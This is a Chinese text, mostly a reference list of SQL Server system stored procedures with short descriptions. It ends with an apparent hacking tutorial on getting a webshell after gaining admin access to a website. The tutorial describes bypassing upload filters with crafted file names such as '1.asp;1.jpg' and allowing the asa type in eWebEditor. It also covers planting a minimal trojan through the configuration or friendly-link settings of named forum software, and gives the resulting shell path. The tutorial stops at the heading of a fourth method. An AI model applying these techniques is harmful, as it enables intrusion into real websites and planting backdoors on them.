 sp_delete_log_shipping_secondary_database --该存储过程删除辅助数据库、本地历史记录和远程历史记录。
 sp_delete_log_shipping_secondary_primary --此存储过程可从辅助服务器删除有关指定主服务器的信息,并从辅助服务器删除复制作业和还原作业。
 sp_delete_maintenance_plan --删除指定的维护计划。
 sp_delete_maintenance_plan_db --取消指定数据库和指定维护计划的关联。
 sp_delete_maintenance_plan_job --取消指定作业与指定维护计划的关联。
 sp_delete_notification --删除特定警报和操作员的SQL Server 代理通知定义。
 sp_delete_operator --删除一位操作员。
 sp_delete_proxy --删除指定代理。
 sp_delete_schedule --删除计划。
 sp_delete_targetserver --从可用目标服务器列表中删除指定服务器。
 sp_delete_targetservergroup --删除指定的目标服务器组。
 sp_delete_targetsvrgrp_member --从目标服务器组中删除目标服务器。
 sp_deletemergeconflictrow --删除冲突表或MSmerge_conflicts_info (Transact-SQL) 表中的行。
 sp_deletepeerrequesthistory --删除与发布状态请求相关的历史记录。
 sp_deletetracertokenhistory --删除MStracer_tokens (Transact-SQL) 和MStracer_history (Transact-SQL) 系统表中的跟踪令牌记录。
 sp_denylogin --防止Windows 用户或Windows 组连接到SQL Server 实例(后续版本将删除该功能)。
 sp_depends --显示有关数据库对象依赖关系的信息。
 sp_describe_cursor --报告服务器游标的属性。
 sp_describe_cursor_columns --报告服务器游标结果集中的列属性。
 sp_describe_cursor_tables --报告服务器游标被引用对象或基表。
 sp_detach_db --从服务器示例中分离当前未使用的数据库,并可以选择在分离前对所有表运行UPDATE STATISTICS。
 sp_detach_schedule --删除计划和作业之间的关联。
 sp_drop_agent_parameter --从MSagent_parameters 表中的配置文件删除一个参数或所有参数。
 sp_drop_agent_profile --从MSagent_profiles 表中删除配置文件。
 sp_dropalias --删除将当前数据库中的用户链接到SQL Server 登录名的别名(后续版本将删除该功能)。
 sp_dropanonymousagent --从发布服务器中删除分发服务器上进行监视的匿名复制代理。
 sp_dropapprole --从当前数据库删除应用程序角色。
 sp_droparticle --从快照发布或事务发布中删除一个项目。
 sp_dropdevice --从SQL Server 2005 数据库引擎实例中删除数据库设备或备份设备,并从master.dbo.sysdevices 中删除相应的项。
 sp_dropdistpublisher --删除分发发布服务器。
 sp_dropdistributiondb --删除分发数据库。
 sp_dropdistributor --卸载分发服务器。
 sp_dropdynamicsnapshot_job --为具有参数化行筛选器的发布删除筛选的数据快照作业。
 sp_dropextendedproc --删除扩展存储过程(后续版本将删除该功能)。
 sp_dropextendedproperty --删除现有的扩展属性(后续版本将删除该功能)。
 sp_droplinkedsrvlogin --删除运行SQL Server 的本地服务器上的登录与链接服务器上的登录之间的现有映射。
 sp_droplogin --删除SQL Server 登录名(后续版本将删除该功能)。
 sp_dropmergealternatepublisher --删除合并发布中的备用发布服务器。
 sp_dropmergearticle --删除合并发布中的项目。
 sp_dropmergefilter --删除合并筛选器。
 sp_dropmergepartition --从发布中删除参数化行筛选器的分区。
 sp_dropmergepublication --删除合并发布及其关联的快照代理。
 sp_dropmergepullsubscription --删除合并请求订阅。
 sp_dropmergesubscription -- 删除对合并发布的订阅及其关联的合并代理。
 sp_dropmessage -- 从SQL Server 数据库引擎实例中删除指定的用户定义的错误消息。
 sp_droppublication -- 删除发布及其关联的快照代理。
 sp_droppullsubscription -- 在订阅服务器的当前数据库中删除订阅。
 sp_dropremotelogin -- 删除映射到本地登录的远程登录(后续版本将删除该功能)。
 sp_droprole -- 从当前数据库中删除数据库角色(后续版本将删除该功能)。
 sp_droprolemember -- 从当前数据库的SQL Server 角色中删除安全帐户。
 sp_dropserver --从本地SQL Server 实例中的已知远程服务器和链接服务器的列表中删除服务器。
 sp_dropsrvrolemember --从固定服务器角色中删除SQL Server 登录或Windows 用户或组。
 sp_dropsubscriber --从已注册的服务器中删除订阅服务器指定。
 sp_dropsubscription --删除对发布服务器上的特殊项目、发布或订阅集的订阅。
 sp_droptype --从systypes 删除别名数据类型。
 sp_dropuser --从当前数据库中删除数据库用户(后续版本将删除该功能)。
 sp_dsninfo --从与当前服务器关联的分发服务器返回ODBC 或OLE DB 数据源信息。
 sp_enum_login_for_proxy --列出安全主体服务器和代理服务器之间的关联。
 sp_enum_proxy_for_subsystem --列出SQL Server 代理的代理访问子系统所需的权限。
 sp_enum_sqlagent_subsystems --列出SQL Server 代理子系统。
 sp_enumcustomresolvers --返回所有可用的业务逻辑处理程序以及在分发服务器上注册的自定义冲突解决程序的列表。
 sp_enumdsn --对运行于特定Microsoft Windows 用户帐户下的服务器,返回所有已定义ODBC 和OLE DB 数据源名称的列表。
 sp_enumeratependingschemachanges --返回所有的挂起架构更改的列表。
 sp_estimate_data_compression_savings --返回表的当前大小并估算表在请求的压缩状态下的大小。
 sp_estimated_rowsize_reduction_for_vardecimal --估计对表启用vardecimal 存储格式后行平均大小的减少量。
 sp_executesql --执行可以多次重复使用或动态生成的Transact-SQL 语句或批处理。
 sp_expired_subscription_cleanup --检查每个发布的所有订阅的状态,并删除已过期的订阅。
 sp_fkeys --返回当前环境的逻辑外键信息。
 sp_foreignkeys --返回引用链接服务器中表的主键的外键。
 sp_fulltext_catalog --创建和删除全文目录,并启动和停止目录的索引操作。
 sp_fulltext_column --指定表的某个特定列是否参与全文索引。
 sp_fulltext_keymappings --返回文档标识符(DocId) 和全文键值之间的映射。
 sp_fulltext_load_thesaurus_file --从指定了LCID 的语言对应的同义词库文件中分析并加载数据。
 sp_fulltext_pendingchanges --为正在使用更改跟踪的指定表返回未处理的更改,如挂起的插入、更新和删除等。
 sp_fulltext_resetfdhostaccount --更新SQL Server 使用的Windows 帐户和密码以启动筛选器后台程序宿主。
 sp_fulltext_service --更改SQL Server 全文搜索的服务器属性。
 sp_fulltext_table --标记或取消标记要编制全文索引的表(后续版本将删除该功能)。
 sp_generatefilters --复制指定的表时,创建外键表的筛选器。
 sp_get_distributor --确定服务器上是否已安装分发服务器。
 sp_get_query_template --返回参数化格式的查询。
 sp_getagentparameterlist --返回一个列表,其中包含所有可在代理配置文件中为指定代理类型设置的复制代理参数。
 sp_getapplock --对应用程序资源设置锁。
 sp_getbindtoken --返回事务的唯一标识符。
 sp_getdefaultdatatypemapping --返回有关指定的数据类型在Microsoft SQL Server 和非SQL Server 数据库管理系统(DBMS) 之间的默认映射的信息。
 sp_getmergedeletetype --返回合并删除的类型。
 sp_getqueuedrows --在订阅服务器上检索在队列中有未决更新的行。
 sp_getsubscriptiondtspackagename --在将数据发送到订阅服务器之前返回用于转换数据的Data Transformation Services (DTS) 包名称。
 sp_gettopologyinfo --返回有关对等事务复制拓扑的信息。
 sp_grant_login_to_proxy --授予安全主体数据库访问代理的权限。
 sp_grant_proxy_to_subsystem --授权代理访问子系统。
 sp_grant_publication_access --将登录名添加到发布的访问列表中。
 sp_grantdbaccess --将数据库用户添加到当前数据库(后续版本将删除该功能)。
 sp_grantlogin --创建SQL Server 登录名(后续版本将删除该功能)。
 sp_help --*报告有关数据库对象(sys.sysobjects 兼容视图中列出的所有对象)。
 sp_help_agent_default --检索作为参数传递的代理类型默认配置的ID。
 sp_help_agent_parameter --*返回MSagent_parameters (Transact-SQL) 系统表中的配置文件的所有参数。
 sp_help_agent_profile --显示指定代理的配置文件。
 sp_help_alert --报告有关为服务器定义的警报信息。
 sp_help_category --提供有关作业、警报或操作员的指定类的信息。
 sp_help_downloadlist --针对所提供的作业,列出sysdownloadlist 系统表中的所有行,或者在未指定作业的情况下列出所有行。
 sp_help_fulltext_catalog_components --返回用于当前数据库中所有全文目录的所有组件(筛选器、断字符和协议处理程序)的列表。
 sp_help_fulltext_catalogs --返回指定的全文目录的ID、名称、根目录、状态以及全文索引表的数量。
 sp_help_fulltext_catalogs_cursor --使用游标返回指定的全文目录的ID、名称、根目录、状态和全文索引表的数量。
 sp_help_fulltext_columns --返回为全文索引指定的列。
 sp_help_fulltext_columns_cursor --使用游标返回为全文索引指派的列。
 sp_help_fulltext_system_components --返回已注册的断字程序、筛选器和协议处理程序的信息。
 sp_help_fulltext_tables --返回为全文索引注册的表的列表(后续版本将删除该功能)。
 sp_help_fulltext_tables_cursor --使用游标返回为全文索引注册的表的列表(后续版本将删除该功能)。
 sp_help_job --返回有关SQL Server 代理用来在SQL Server 中执行自动活动的作业的信息。
 sp_help_jobactivity --列出有关SQL Server 代理作业的运行时状态的信息。
 sp_help_jobcount --提供计划附加到的作业数。
 sp_help_jobhistory --为多服务器管理域中的服务器提供有关作业的信息。
 sp_help_jobs_in_schedule --返回有关附加了特定计划的作业的信息。
 sp_help_jobschedule --返回有关SQL Server Management Studio 用来执行自动活动的计划作业的信息。
 sp_help_jobserver --为给定的作业返回有关服务器的信息。
 sp_help_jobstep --返回有关SQL Server 代理服务在执行自动活动时使用的作业中的步骤信息。
 sp_help_jobsteplog --返回有关特定SQL Server 代理作业步骤日志的元数据。
 sp_help_log_shipping_alert_job --此存储过程将从日志传送监视器返回警报作业的作业ID。
 sp_help_log_shipping_monitor --返回一个结果集,其中包含主服务器、辅助服务器或监视服务器上注册的主数据库和辅助数据库的状态和其他信息。
 sp_help_log_shipping_monitor_primary --从监视表返回有关主数据库的信息。
 sp_help_log_shipping_monitor_secondary --从监视表返回关于辅助数据库的信息。
 sp_help_log_shipping_primary_database --检索主数据库设置。
 sp_help_log_shipping_primary_secondary --此存储过程将返回有关给定主数据库的所有辅助数据库的信息。
 sp_help_log_shipping_secondary_database --此存储过程可检索一个或多个辅助数据库的设置。
 sp_help_log_shipping_secondary_primary --此存储过程将在辅助服务器上检索给定的主数据库的设置。
 sp_help_maintenance_plan --返回有关指定的维护计划的信息(后续版本将删除该功能)。
 sp_help_notification --报告给定操作员的警报列表,或者报告给定警报的操作员列表。
 sp_help_operator --报告有关为服务器定义的操作员的信息。
 sp_help_peerconflictdetection --返回对等事务复制拓扑中包含的发布的冲突检测设置信息。
 sp_help_proxy --列出一个或多个代理的信息。
 sp_help_publication_access --返回发布的所有授权登录的列表。
 sp_help_schedule --列出有关计划的信息。
 sp_help_targetserver --列出所有的目标服务器。
 sp_help_targetservergroup --列出指定的组中所有的目标服务器。
 sp_helparticle --显示有关项目的信息。
 sp_helparticlecolumns --返回基础表中的所有列。
 sp_helparticledts --用于获取使用Microsoft Visual Basic 创建事务订阅时所用的正确自定义任务名称的信息。
 sp_helpconstraint --*返回一个列表,其内容包括所有约束类型、约束类型的用户定义或系统提供的名称、定义约束类型时用到的列,以及定义约束的表达式(仅适用于DEFAULT 和CHECK 约束)。
 sp_helpdatatypemap --返回有关Microsoft SQL Server 和非SQL Server 数据库管理系统(DBMS) 间的定义数据类型映射。
 sp_helpdb --*报告有关指定数据库或所有数据库的信息。
 sp_helpdbfixedrole --*返回固定数据库角色的列表。
 sp_helpdevice --报告有关Microsoft® SQL Server™ 备份设备的信息。
 sp_helpdistpublisher --返回使用分发服务器的发布服务器的属性。
 sp_helpdistributiondb --返回指定分发数据库的属性。
 sp_helpdistributor --列出有关分发服务器、分发数据库、工作目录和Microsoft SQL Server 代理用户帐户的信息。
 sp_helpdistributor_properties --返回分发服务器属性。此存储过程在分发服务器上对分发数据库执行。
 sp_helpdynamicsnapshot_job --返回有关生成筛选数据快照的代理作业的信息。
 sp_helpextendedproc --*报告当前定义的扩展存储过程,以及该过程(函数)所属的动态链接库(DLL) 的名称。
 sp_helpfile --*返回与当前数据库关联的文件的物理名称及属性。
 sp_helpfilegroup --*返回与当前数据库相关联的文件组的名称及属性。
 sp_helpindex --*报告有关表或视图上索引的信息。
 sp_helplanguage --*报告有关某个特定的替代语言或所有语言的信息。
 sp_helplinkedsrvlogin --*查询已定义的链接服务器的登录信息。
 sp_helplogins --*提供有关每个数据库中的登录及相关用户的信息。
 sp_helplogreader_agent --为发布数据库返回日志读取器代理作业属性。
 sp_helpmergealternatepublisher --返回作为合并发布的备用发布服务器启用的所有服务器列表。
 sp_helpmergearticle --返回有关项目的信息。
 sp_helpmergearticlecolumn --返回合并发布的指定表或视图项目中的列的列表。
 sp_helpmergearticleconflicts --返回发布中有冲突的项目。
 sp_helpmergeconflictrows --返回指定冲突表中的行。
 sp_helpmergedeleteconflictrows --返回有关丢失删除冲突的数据行的信息。
 sp_helpmergefilter --返回有关合并筛选器的信息。
 sp_helpmergepartition --返回指定合并发布的分区信息。
 sp_helpmergepublication --返回有关合并发布的信息。
 sp_helpmergepullsubscription --返回有关订阅服务器中存在的请求订阅的信息。
 sp_helpmergesubscription --返回有关对合并发布的订阅(推送订阅和请求订阅)的信息。
 sp_helpntgroup --报告在当前数据库中有帐户的Windows 组的有关信息。
 sp_helppeerrequests --返回有关对等复制拓扑中的参与者收到的所有状态请求的信息。
 sp_helppeerresponses --返回针对从对等复制拓扑中的参与者处接收到的特定状态请求的所有响应。
 sp_helppublication --返回有关发布的信息。
 sp_helppublication_snapshot --返回给定发布的快照代理的有关信息。
 sp_helppullsubscription --显示订阅服务器上的一个或多个订阅的有关信息。
 sp_helpqreader_agent --返回队列读取器代理的属性。
 sp_helpremotelogin --报告已经在本地服务器上定义的某个或所有远程服务器的远程登录的有关信息。
 sp_helpreplfailovermode --显示订阅的当前故障转移模式。
 sp_helpreplicationdboption --显示是否已启用发布服务器上的数据库,以进行复制。
 sp_helpreplicationoption --显示为服务器启用的复制选项的类型。
 sp_helprole --*返回当前数据库中有关角色的信息。
 sp_helprolemember --*返回有关当前数据库中某个角色的成员的信息。
 sp_helprotect --返回一个报表,报表中包含当前数据库中某对象的用户权限或语句权限的信息。
 sp_helpserver --*报告某个特定远程服务器或复制服务器的信息,或者报告两种类型的所有服务器的信息。
 sp_helpsort --*显示SQL Server 实例的排序顺序和字符集。
 sp_helpsrvrole --*返回SQL Server 固定服务器角色的列表。
 sp_helpsrvrolemember --*返回有关SQL Server 固定服务器角色成员的信息。
 sp_helpstats --返回指定表中列和索引的统计信息。
 sp_helpsubscriberinfo --显示有关订阅服务器的信息。
 sp_helpsubscription --列出与特定的发布、项目、订阅服务器或订阅集关联的订阅信息。
 sp_helpsubscription_properties --从MSsubscription_properties 表检索安全信息。
 sp_helpsubscriptionerrors --返回给定订阅的所有事务复制错误。
 sp_helptext --*显示用户定义规则的定义、默认值、未加密的Transact-SQL 存储过程、用户定义Transact-SQL 函数、触发器、计算列、CHECK 约束、视图或系统对象(如系统存储过程)。
 sp_helptracertokenhistory --返回指定跟踪令牌的详细滞后时间信息,为每个订阅服务器返回一行。
 sp_helptracertokens --为每个已插入发布以确定滞后时间的跟踪标记分别返回一行。
 sp_helptrigger --*返回对当前数据库的指定表定义的DML 触发器的类型。
 sp_helpuser --*报告有关当前数据库中数据库级主体的信息。
 sp_helpxactsetjob --显示有关Oracle 发布服务器的Xactset 作业的信息。
 sp_indexes --*返回指定的远程表的索引信息。
 sp_indexoption --为用户定义的聚集索引和非聚集索引或没有聚集索引的表设置锁选项值。
 sp_invalidate_textptr --使事务中指定的行内文本指针或所有行内文本指针失效。
 sp_ivindexhasnullcols --验证索引视图的聚集索引是否唯一,而且当索引视图将要用于创建事务发布时其聚集索引不包含任何可能为Null 的列。
 sp_link_publication --设置在连接到发布服务器时立即更新订阅的同步触发器所使用的配置和安全信息。
 sp_linkedservers --*返回本地服务器中定义的链接服务器列表。
 sp_lock --*报告有关锁的信息(后续版本将删除该功能)。
 sp_lookupcustomresolver --返回有关在分发服务器注册的基于COM 的自定义冲突解决程序组件的业务逻辑处理程序或类标识符(CLSID) 值的信息。
 sp_manage_jobs_by_login --删除或重新分配属于指定登录的作业。
 sp_markpendingschemachange --用于合并发布的可支持性,它通过让管理员跳过所选择的挂起架构更改,使这些更改不会被复制。
 sp_marksubscriptionvalidation --将当前打开的事务标记为指定订阅服务器的订阅级验证事务。
 sp_mergearticlecolumn --对合并发布进行垂直分区。
 sp_mergedummyupdate  --在给定的行中进行虚更新,以便在下次合并时将该行再次发送。
 sp_monitor --显示有关Microsoft SQL Server 的统计信息。
 sp_MSchange_distribution_agent_properties --更改在Microsoft SQL Server 2005 或更高版本的分发服务器上运行的分发代理作业的属性。
 sp_MSchange_logreader_agent_properties --更改在Microsoft SQL Server 2005 或更高版本的分发服务器上运行的日志读取器代理作业的属性。
 sp_MSchange_merge_agent_properties --更改在Microsoft SQL Server 2005 或更高版本的分发服务器上运行的合并代理作业的属性。
 sp_MSchange_snapshot_agent_properties --更改在Microsoft SQL Server 2005 或更高版本分发服务器上运行的快照代理作业的属性。
 sp_MShasdbaccess --*列出用户有权限访问的所有数据库的名称和所有者。
 sp_msx_defect --从多服务器操作中删除当前服务器。
 sp_msx_enlist --将当前服务器添加到主服务器的可用服务器列表。
 sp_msx_get_account --列出目标服务器用于登录到主服务器的凭据的有关信息。
 sp_msx_set_account --设置目标服务器上的SQL Server 代理主服务器帐户名和密码。
 sp_notify_operator --使用数据库邮件向操作员发送电子邮件。
 sp_OACreate --*创建OLE 对象的实例。
 sp_OADestroy --*破坏已创建的OLE 对象。
 sp_OAGetErrorInfo --*获取OLE 自动化错误信息。
 sp_OAGetProperty --*获取OLE 对象的属性值。
 sp_OAMethod --*调用一个OLE 对象的方法。
 sp_OASetProperty --*将OLE 对象的属性设置为新值。
 sp_OAStop --*停止服务器范围内的OLE 自动化存储过程执行环境。
 sp_password --为Microsoft SQL Server 登录名添加或更改密码(后续版本将删除该功能)。
 sp_pkeys --*返回当前环境中单个表的主键信息。
 sp_post_msx_operation --向系统表sysdownloadlist 中插入操作(行),以供目标服务器下载和执行。
 sp_posttracertoken --跟踪令牌发布到发布服务器的事务日志中,并开始滞后时间统计信息的跟踪进程。
 sp_primarykeys --*返回指定远程表的主键列,每个键列对应一行。
 sp_publication_validation --对指定发布中的每个项目启动项目验证请求。
 sp_publisherproperty --显示或更改非Microsoft SQL Server 发布服务器的发布服务器属性。
 sp_purge_jobhistory --删除作业的历史记录。
 sp_recompile --使存储过程和触发器在下次运行时重新编译。
 sp_refresh_log_shipping_monitor --使用指定日志传送代理的给定主服务器或辅助服务器中的最新信息来刷新远程监视器表。
 sp_refreshsqlmodule  --更新当前数据库中指定的非绑定到架构的一些对象。
 sp_refreshsubscriptions --对于所有现有的订阅服务器,将对其请求订阅中的新项目的订阅添加到发布中。
 sp_refreshview --用于更新指定的未绑定到架构的视图的元数据。
 sp_register_custom_scripting --复制允许用户定义的自定义存储过程替换事务复制中使用的一个或多个默认过程。
 sp_registercustomresolver --注册可在合并复制同步进程中调用的业务逻辑处理程序或基于COM 的自定义冲突解决程序。
 sp_reinitmergepullsubscription --将合并请求订阅标记为在合并代理下一次运行时重新初始化。
 sp_reinitmergesubscription --标记一个合并订阅,以便在下一次运行合并代理时重新初始化。
 sp_reinitpullsubscription --将事务请求订阅或匿名订阅标记为在下一次运行分发代理时重新初始化。
 sp_reinitsubscription  --将订阅标记为要重新初始化。
 sp_releaseapplock --为应用程序资源释放锁。
 sp_remoteoption --显示或更改在运行SQL Server 的本地服务器中定义的远程登录的选项。
 sp_remove_job_from_targets --从指定的目标服务器或目标服务器组中删除指定的作业。
 sp_removedbreplication --该存储过程在发布服务器的发布数据库中或在订阅服务器的订阅数据库中执行。
 sp_removedistpublisherdbreplication --删除属于分发服务器上特定发布的发布元数据。
 sp_rename --*在当前数据库中更改用户创建对象的名称。
 sp_renamedb --更改数据库的名称(后续版本将删除该功能)。
 sp_repladdcolumn --将列添加到已发布的现有表项目中。
 sp_replcmds --返回标记为要复制的事务的命令。
 sp_replcounters --为每个发布数据库返回有关滞后时间、吞吐量和事务计数的复制统计信息。
 sp_repldone --更新用于标识服务器的最后一个已分发事务的记录。
 sp_repldropcolumn --从已发布的现有表项目中删除列。
 sp_replflush --刷新项目缓存。
 sp_replication_agent_checkup --检查每个分发数据库的复制代理,这些复制代理正在运行但在指定的检测信号间隔内没有历史记录。
 sp_replicationdboption --设置指定数据库的复制数据库选项。
 sp_replmonitorchangepublicationthreshold --更改发布的监视阈值标准。
 sp_replmonitorhelpmergesession --返回给定复制合并代理过去会话的信息,并且针对每个符合筛选条件的会话返回一行。
 sp_replmonitorhelpmergesessiondetail --返回有关特定复制合并代理会话的项目级详细信息
 sp_replmonitorhelppublication --返回发布服务器上一个或多个发布的当前状态信息。
 sp_replmonitorhelppublicationthresholds --返回为所监视发布设置的阈值度量指标。
 sp_replmonitorhelppublisher --为与分发服务器关联的一个或多个发布服务器返回当前状态信息。
 sp_replmonitorhelpsubscription --返回发布服务器上属于一个或多个发布的订阅的当前状态信息,并为每个返回的订阅返回一行。
 sp_replmonitorsubscriptionpendingcmds --返回有关对事务发布的订阅的等待命令数以及处理这些命令的粗略估计时间的信息。
 sp_replqueuemonitor --列出Microsoft SQL Server 队列或Microsoft 消息队列中指定发布的排队更新订阅的队列消息。
 sp_replrestart --由事务复制在备份和还原过程中使用,以便分发服务器上的复制数据与发布服务器上的数据同步。
 sp_replsetoriginator --用于在双向事务复制中调用环回检测和处理。
 sp_replshowcmds --以可读格式返回标记为要复制的事务的命令。
 sp_repltrans --返回由发布数据库事务日志中所有标记为复制、但没有标记为已分发的事务组成的结果集。
 sp_requestpeerresponse --从对等拓扑中的节点执行此过程时,此过程将从拓扑中的其他每个节点请求响应。
 sp_requestpeertopologyinfo --使用有关对等事务复制拓扑的信息填充MSpeer_topologyresponse 系统表。
 sp_resetsnapshotdeliveryprogress --重置请求订阅的快照传递进程,以便可以重新启动快照传递。
 sp_resetstatus --重置可疑数据库的状态(后续版本删除该功能)。
 sp_restoredbreplication --将数据库还原到非发起服务器、数据库或因其他原因而无法运行复制过程的系统时,删除复制设置。
 sp_restoremergeidentityrange --此存储过程用于更新标识范围分配。
 sp_resync_targetserver --重新同步指定目标服务器中的所有多服务器作业。
 sp_resyncmergesubscription --将合并订阅重新同步到指定的已知验证状态。
 sp_revoke_login_from_proxy --删除对安全主体数据库的代理的访问权。
 sp_revoke_proxy_from_subsystem --撤消代理对子系统的访问权限。
 sp_revoke_publication_access --从发布访问列表中删除登录名。
 sp_revokedbaccess --从当前数据库中删除数据库用户(后续版本将删除该功能)。
 sp_revokelogin --从SQL Server 中删除使用CREATE LOGIN、sp_grantlogin 或sp_denylogin 为Windows 用户或组创建的登录项(后续版本将删除该功能)。
 sp_schemafilter --修改并显示架构的相关信息,此架构在列出适合于发布的Oracle 表时被排除。
 sp_script_synctran_commands --生成一个脚本以包含将在可更新订阅的订阅服务器上应用的sp_addsynctrigger 调用。
 sp_scriptdynamicupdproc --生成创建动态更新存储过程的CREATE PROCEDURE 语句。
 sp_scriptpublicationcustomprocs --在启用了自动生成自定义过程架构选项的发布中,为所有表项目编写自定义INSERT、UPDATE 和DELETE 过程的脚本。
 sp_scriptsubconflicttable --为给定的排队订阅项目生成用于在订阅服务器上创建冲突表的脚本。
 sp_send_dbmail --向指定收件人发送电子邮件。
 sp_server_info --*返回SQL Server、数据库网关或基础数据源的属性名称和匹配值的列表。
 sp_serveroption --*为远程服务器和链接服务器设置服务器选项。
 sp_setapprole --激活与当前数据库中的应用程序角色关联的权限。
 sp_setdefaultdatatypemapping --将Microsoft SQL Server 与非SQL Server 数据库管理系统(DBMS) 之间的现有数据类型映射标记为默认映射。
 sp_setnetname --将sys.servers 中的网络名称设置为用于远程SQL Server 实例的实际网络计算机名。
 sp_setreplfailovermode --允许为启用了以排队更新为故障转移的立即更新的订阅设置故障转移操作模式。
 sp_setsubscriptionxactseqno --进行故障排除时,用于指定订阅服务器上的分发代理应用的下一个事务的日志序列号(LSN),从而使代理可以跳过失败的事务。
 sp_settriggerorder --指定第一个激发或最后一个激发的AFTER 触发器。
 sp_showpendingchanges --返回一个结果集,其中显示了等待复制的更改。
 sp_showrowreplicainfo --显示有关在合并复制中用作项目的表中的行的信息。
 sp_spaceused --*显示行数、保留的磁盘空间以及当前数据库中的表、索引视图或Service Broker 队列所使用的磁盘空间,或显示由整个数据库保留和使用的磁盘空间。
 sp_sproc_columns --为当前环境中的单个存储过程或用户定义函数返回列信息。
 sp_srvrolepermission --显示固定服务器角色的权限。
 sp_start_job --指示SQL Server 代理立即执行作业。
 sp_startpublication_snapshot --用于启动可为发布生成初始快照的快照代理作业。
 sp_statistics --返回针对指定的表或索引视图的所有索引和统计信息的列表。
 sp_stop_job --指示SQL Server 代理停止执行作业。
 sp_stored_procedures --*返回当前环境中的存储过程列表。
 sp_subscription_cleanup --在从订阅服务器中删除订阅时同时删除元数据。
 sp_syscollector_create_collection_item --在收集组中创建一个收集项。
 sp_syscollector_create_collection_set --创建一个新的收集组。
 sp_syscollector_create_collector_type --为收集项创建收集器类型。
 sp_syscollector_delete_collection_item --用于从收集组中删除收集项。
 sp_syscollector_delete_collection_set --删除收集组及其所有收集项。
 sp_syscollector_delete_collector_type --删除收集器类型的定义。
 sp_syscollector_delete_execution_log_tree --删除与单个收集组的运行有关的所有日志项。
 sp_syscollector_disable_collector --禁用数据收集器。
 sp_syscollector_enable_collector --启用数据收集器。
 sp_syscollector_run_collection_set --如果已启用收集器并且收集组配置为非缓存收集模式,则启动收集组。
 sp_syscollector_set_cache_directory --指定所收集数据在上载到管理数据仓库之前的存储目录。
 sp_syscollector_set_cache_window --设置在数据上载失败时尝试上载数据的次数。
 sp_syscollector_set_warehouse_database_name --指定在用于连接到管理数据仓库的连接字符串中定义的数据库名称。
 sp_syscollector_set_warehouse_instance_name --指定用于连接到管理数据仓库的连接字符串的实例名称。
 sp_syscollector_start_collection_set --如果已启用收集器但收集组未运行,请启动收集组。
 sp_syscollector_stop_collection_set --停止收集组。
 sp_syscollector_update_collection_item --更新收集组中的收集项。
 sp_syscollector_update_collection_set --用于更新收集组数据或重命名收集组。
 sp_syscollector_update_collector_type --为收集项更新收集器类型。
 sp_syscollector_upload_collection_set --在启用了收集组时启动收集组数据的上载。
 sp_table_privileges --*返回指定的一个或多个表的表权限(如INSERT、DELETE、UPDATE、SELECT、REFERENCES)的列表。
 sp_table_privileges_ex --从指定的链接服务器返回有关指定表的特权信息。
 sp_table_validation --返回有关表或索引视图的行数或校验和信息,或者将提供的行数或校验和信息与指定的表或索引视图进行比较。
 sp_tableoption --设置用户定义表的选项值(后续版本将删除此功能)。
 sp_tables --*返回可在当前环境中查询的对象列表。也就是说,返回任何能够在FROM 子句中出现的对象(不包括同义词对象)。
 sp_tables_ex --返回有关指定链接服务器中表的信息。
 sp_testlinkedserver --*测试与链接服务器的连接。
 sp_trace_create --创建跟踪定义。新的跟踪将处于停止状态。
 sp_trace_generateevent --创建用户定义事件。
 sp_trace_setevent --在跟踪中添加或删除事件或事件列。
 sp_trace_setfilter --将筛选应用于跟踪。
 sp_trace_setstatus --修改指定跟踪的当前状态。
 sp_unbindefault --在当前数据库中为列或者别名数据类型解除(删除)默认值绑定。
 sp_unbindrule --在当前数据库中取消列或别名数据类型的规则绑定。
 sp_unregister_custom_scripting --此存储过程删除用户定义自定义存储过程或通过执行sp_register_custom_scripting 注册的Transact-SQL 脚本文件。
 sp_unregistercustomresolver --撤消注册先前注册的业务逻辑模块。
 sp_unsetapprole --停用应用程序角色并恢复到前一个安全上下文。
 sp_update_agent_profile --更新复制代理所用的配置文件。
 sp_update_alert --更新现有警报的设置。
 sp_update_category --更改类别的名称。
 sp_update_job --更改作业的属性。
 sp_update_jobschedule --更改指定作业的计划设置。
 sp_update_jobstep --更改执行自动活动的作业中某一步骤的设置。
 sp_update_operator --更新警报和作业所用的操作员(通知收件人)信息。
 sp_update_proxy --更改现有代理的属性。
 sp_update_schedule --更改SQL Server 代理计划的设置。
 sp_update_targetservergroup --更改指定目标服务器组的名称。
 sp_updateextendedproperty --更新现有扩展属性的值。
 sp_update_notification --更新警报提示的提示方法。
 sp_updatestats --对当前数据库中所有用户定义表和内部表运行UPDATE STATISTICS。
 sp_upgrade_log_shipping --sp_upgrade_log_shipping 存储过程是自动调用的,用于升级特定于SQL Server 2008 中日志传送的元数据。
 sp_validatelogins --报告有关映射到SQL Server 主体,但不再存在于Windows 环境中的Windows 用户和组的信息。
 sp_validatemergepublication --执行整个发布范围内的验证,一次性地验证所有订阅(推送、请求和匿名)。
 sp_validatemergesubscription --执行对指定订阅的验证。
 sp_validname --检查有效的SQL Server 标识符名称。
 sp_vupgrade_mergeobjects --重新生成用于跟踪和应用合并复制数据更改的特定于项目的触发器、存储过程和视图。
 sp_vupgrade_replication --升级复制服务器时由安装程序激活。
 sp_who --*提供有关Microsoft SQL Server 数据库引擎实例中的当前用户、会话和进程的信息。
 sp_xml_preparedocument --读取作为输入提供的XML 文本,然后使用MSXML 分析器(Msxmlsql.dll) 对其进行分析,并提供分析后的文档供使用。
 sp_xml_removedocument --删除文档句柄指定的XML 文档的内部表示形式并使该文档句柄无效。
 sp_xp_cmdshell_proxy_account --创建xp_cmdshell 代理凭据。

进入后台后怎样得到webshell

进入后台后怎样得到webshell

一、直接上传获得webshell
  有些程序的后台上传文件格式没有限死,比如一些ASA,CER没有限制,又或者利用1.asp;1.jpg这种格式,或者1.asp/1.jpg  这里的1.asp 是文件夹,我直接上传这种格式的木马就可以了。
  二、添加修改上传类型

  有一些程序,比如ewebeditor的后台可以添加asa格式的,得到ewebeditor的后台,就等于有了上传机会。

  三、利用后台管理功能写入webshell

   上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有 leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新 的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\\网站\inc\IncHtm\BoardLink.asp就 是我们想要的shell。

  四、利用后台管理向配置文件写webshell

